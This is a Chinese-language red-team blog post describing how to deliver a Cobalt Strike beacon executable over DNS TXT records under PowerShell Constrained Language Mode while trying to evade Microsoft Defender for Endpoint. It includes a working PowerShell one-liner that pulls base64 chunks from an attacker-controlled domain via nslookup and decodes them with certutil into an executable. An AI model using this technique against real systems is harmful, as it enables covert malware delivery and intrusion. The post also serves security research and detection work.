受我近期参与的一个涉及 Cobalt Strike DNS 信标的工作启发,结合尝试绕过 Microsoft Defender for Endpoint 的任务目标,我花了一些时间研究如何利用 DNS 将载荷传输到目标机器。我还进一步挑战自己,尝试在 PowerShell 处于受限语言模式时也能实现这一目标。这项研究主要针对较新的 Windows 版本(例如 Windows 10+、Server 2019+),但正如你稍后所见,较低版本也可能实现。
DNS 隧道是一项历史悠久的技术,被多种攻击者使用。简单来说,它利用 DNS 协议作为数据渗透/反渗透的手段或作为 C2 通信通道。有许多博客文章可供参考,以获取更多关于此主题的信息。
由于这是一项古老且广为人知的技术,许多组织已经部署了检测方法来试图阻止它。
DNS 隧道历史上首选的 DNS 记录类型是 TXT。这是因为 TXT 记录可以比其他记录存储更多数据,并且它们区分大小写,而其他记录则不然,这在我们开始讨论编码时会产生影响。
受限语言模式是 PowerShell 的一种限制性语言模式,大大降低了 PowerShell 的功能和允许的操作。简而言之,.NET、COM 对象以及攻击者常用的如 (new-object net.webclient).downloadstring 等都无法使用。此链接 提供了更多信息。组织会将其作为攻击面缩减规则的一部分,对普通用户强制执行此策略。这实际上使得我们作为攻击者的工作更加困难。
大多数人对 DNS 应该至少有所了解,比如使用 Nslookup 等工具。但基本而言,客户端发送查询,DNS 服务器返回该查询的答案。DNS 记录有多种类型:CNAME、A、AAAA、TXT、MX 和 NS 等等。每条记录可以存储和返回不同的信息。这些记录在区域文件中配置,由 DNS 服务器提供服务。
此处提供了一个示例区域文件 链接:``` $ORIGIN example.com. @ 3600 SOA ns1.p30.dynect.net. ( zone-admin.dyndns.com. ; address of responsible party 2016072701 ; serial number 3600 ; refresh period 600 ; retry period 604800 ; expire time 1800 ) ; minimum ttl 86400 NS ns1.p30.dynect.net. 86400 NS ns2.p30.dynect.net. 86400 NS ns3.p30.dynect.net. 86400 NS ns4.p30.dynect.net. 3600 MX 10 mail.example.com. 3600 MX 20 vpn.example.com. 3600 MX 30 mail.example.com. 60 A 204.13.248.106 3600 TXT "v=spf1 includespf.dynect.net ~all" mail 14400 A 204.13.248.106 vpn 60 A 216.146.45.240 webapp 60 A 216.146.46.10 webapp 60 A 216.146.46.11 www 43200 CNAME example.com.
如果查询example.com的NS记录,查询结果会返回ns1.p30.dynect.net、ns2.p30.dynect.net、ns3.p30.dynect.net和ns4.p30.dynect.net。
# 研究
## 域名注册
在开始之前,我们需要简要讨论如何设置DNS记录,使其指向我们控制并运行DNS服务器的IP。如下所示,我购买了一个域名,并设置了DNS记录,将子域名“dns”指向子域名“ns1”,而“ns1”被分配了服务器的公网IP。

这意味着所有针对“dns.edu....com”的查询都会被定向到“ns1.edu....com”,而后者被分配了IP 3..86。我们将在此IP上设置DNS服务器来提供我们的记录。稍后还会用到这一点。
## 寻找客户端工具
我的探索始于一次简单的谷歌搜索“powershell dns module”,结果返回了[这个](https://docs.microsoft.com/en-us/powershell/module/dnsclient/?view=windowsserver2022-ps)链接。其中特别令人感兴趣的是Resolve-DnsName命令。它看起来基本上是众所周知的Nslookup.exe二进制文件的PowerShell实现。注意,可以请求特定类型的记录:

好的,我们有了一个能够进行DNS查询并返回答案的PowerShell模块。它能在受限语言模式(CLM)下工作吗?答案是有点复杂。
如下所示,如果我打开一个新的PowerShell窗口,运行Resolve-DnsName,然后将PowerShell置于CLM模式(并通过简单的::WriteLine调用测试),再运行Resolve-DnsName,它会正常工作:

但是,如果我打开一个新的PowerShell窗口,立即将其置于CLM模式,然后尝试运行Resolve-DnsName,它就会失败:

似乎如果一个模块之前已经加载过,在CLM强制生效后它仍然能够运行,但CLM会阻止尚未加载的模块加载。考虑到目标环境中CLM默认对用户强制启用(并且不知道DnsClient是否已被预加载或属于其中之一),我决定此时放弃Resolve-DnsName,转而使用老牌的Nslookup.exe。

Nslookup.exe是IT工具包中的主力,是用于合法目的的众所周知二进制文件。即使在担心应用程序白名单的环境中,它被允许执行的可能性也很大。
Nslookup会返回与Resolve-DnsName查询类似的信息,只是到时候我们需要稍微不同地处理它。
## 将可执行文件转换为DNS记录?
好的,我们有了在受害者计算机上进行DNS查询的方法。那么,如何将我们的有效载荷以Nslookup可以检索的格式提供呢?
可执行文件当然是二进制文件,这意味着它们不可读。因此,必须将数据转换为可以放入DNS记录且Nslookup等工具可以恢复的格式。我们有很多编码选项,但主要考虑因素是:受害者机器能否仅使用本机Windows工具和在CLM中可用的功能进行解码?Base64是显而易见的常用答案。
使用Base64,我们将可执行文件转换为一个巨大的可读字符串,然后可以将其拆分成多个DNS记录,并使用Nslookup恢复。在客户端,可以使用著名的LOLBAS certutil.exe将聚合的DNS记录从Base64解码回二进制格式。
这就需要我们更多地讨论DNS记录类型。每种记录类型以特定格式存储特定信息。例如,A记录存储并返回IPV4地址(111.111.111.111)。AAAA记录返回IPV6地址,MX和NS记录返回域名,而TXT记录可以返回255个字符长的字符串。如前所述,由于记录长度和大小写敏感性,TXT记录一直是攻击者的明显选择,因为需要的记录数量更少,并且与Base64等编码兼容。
让我们看看这是什么样子。
在我们的Kali虚拟机上,我们可以对可执行文件进行Base64编码。注意使用-w 0开关,这将删除所有换行符,从而留下一行Base64文本:

查看文件可以看到Base64:

我们现在需要将这个Base64编码的文件转换为由DNS服务器服务的DNS TXT记录。
在这个过程中我学到了几件事,在继续之前快速总结一下:
**1.** 当单个DNS查询返回多个记录时,无法保证它们会按“顺序”返回。这对我们的目的至关重要,因为我们需要从所有TXT记录中重新组合一个文件,如果顺序乱了,就无法工作。
**2.** 重复记录不会在查询中返回。例如,在我们的区域文件中如果有3个TXT记录,其中2个包含相同的信息,那么当我们查询该域名的TXT记录时,只会返回2个记录,因为只有唯一的记录会被返回。即使不考虑顺序问题,如果我们有例如大段的“AAAAA”(就像我们在Base64编码的有效载荷中那样),需要填充多个TXT记录,那么当我们查询域名的TXT记录时,即使区域文件中有多个“A”填满的TXT记录,也只会返回一个。
考虑到这些点,我们必须确保每个DNS查询只返回一个TXT记录。于是引入子域名。就像我们将“dns.edu...com”注册为“edu....com”的子域名一样,我们可以为更进一步的子域名(例如1.dns.edu....com)提供记录。我们可以根据需要创建任意多的子域名来提供所有TXT记录。
让我们看看我们的Base64编码有效载荷:

如前所述,每个TXT记录可以容纳255个字符。将413,696除以255,四舍五入后得到1,623。这是大量的TXT记录(相应地也是大量的子域名)。但这是一个起点。
我写了一个Python3脚本来读取Base64编码的有效载荷并创建区域文件:

该脚本将打开我们的Base64编码有效载荷(comp.txt),并使用“chunkstring”函数(来自Stack Overflow的一篇帖子)将文件分割成255个字符的块,然后用这些块创建TXT记录。注意,这里的IP是伪造/随机的,并不必要。
查看生成的区域文件,我们可以看到我们的TXT记录:

注意每个TXT记录最左边的数字;这表示子域名。
创建好区域文件后,我们需要将其复制到DNS服务器并服务之。我使用了[CoreDNS](https://github.com/coredns/coredns)来实现:

这表明我正在端口53上接受对dns.edu....com的查询。在Corefile中,我指定了上一步创建的区域文件来提供记录。为了测试记录是否有效,我们将对1.dns.edu....com的TXT记录运行nslookup:

得到我们的TXT记录!
## 攻击!
我们现在需要运行nslookup……1623次。这不太理想,但暂时我们只能这么做。我们将使用以下PowerShell单行脚本为每个子域名运行nslookup,然后只选择TXT记录($temp[5]),并逐步构建$results。最后$results被写入./temp.txt,再使用certutil将temp.txt解码为custombeacon.exe。```powershell
$results="";for($num = 1; $num -le 1623 ; $num++){$temp = nslookup -type=TXT "$num.dns.edu....com" 2> $null;$temp = $temp[5].replace("`t","").replace("`"","");$results = $results + $temp};$results > ./temp.txt;certutil -decode ./temp.txt ./custombeacon.exe
执行我们的命令后,我们在 CoreDNS 服务器上看到了所有 DNS 请求:

而在客户端上,我们看到 Certutil 命令执行成功:

我们的输出长度与原始 EXE 文件匹配(并且它成功运行)——太棒了!

然而我们遇到了一个问题。让我们查看评估实验室机器的 MDE 仪表板:

这里有 5 个警报需要我们处理(忽略最顶部的两个“可疑使用 certutil.exe 解码可执行文件”,因为这是测试期间两次运行同一攻击链产生的重复项)。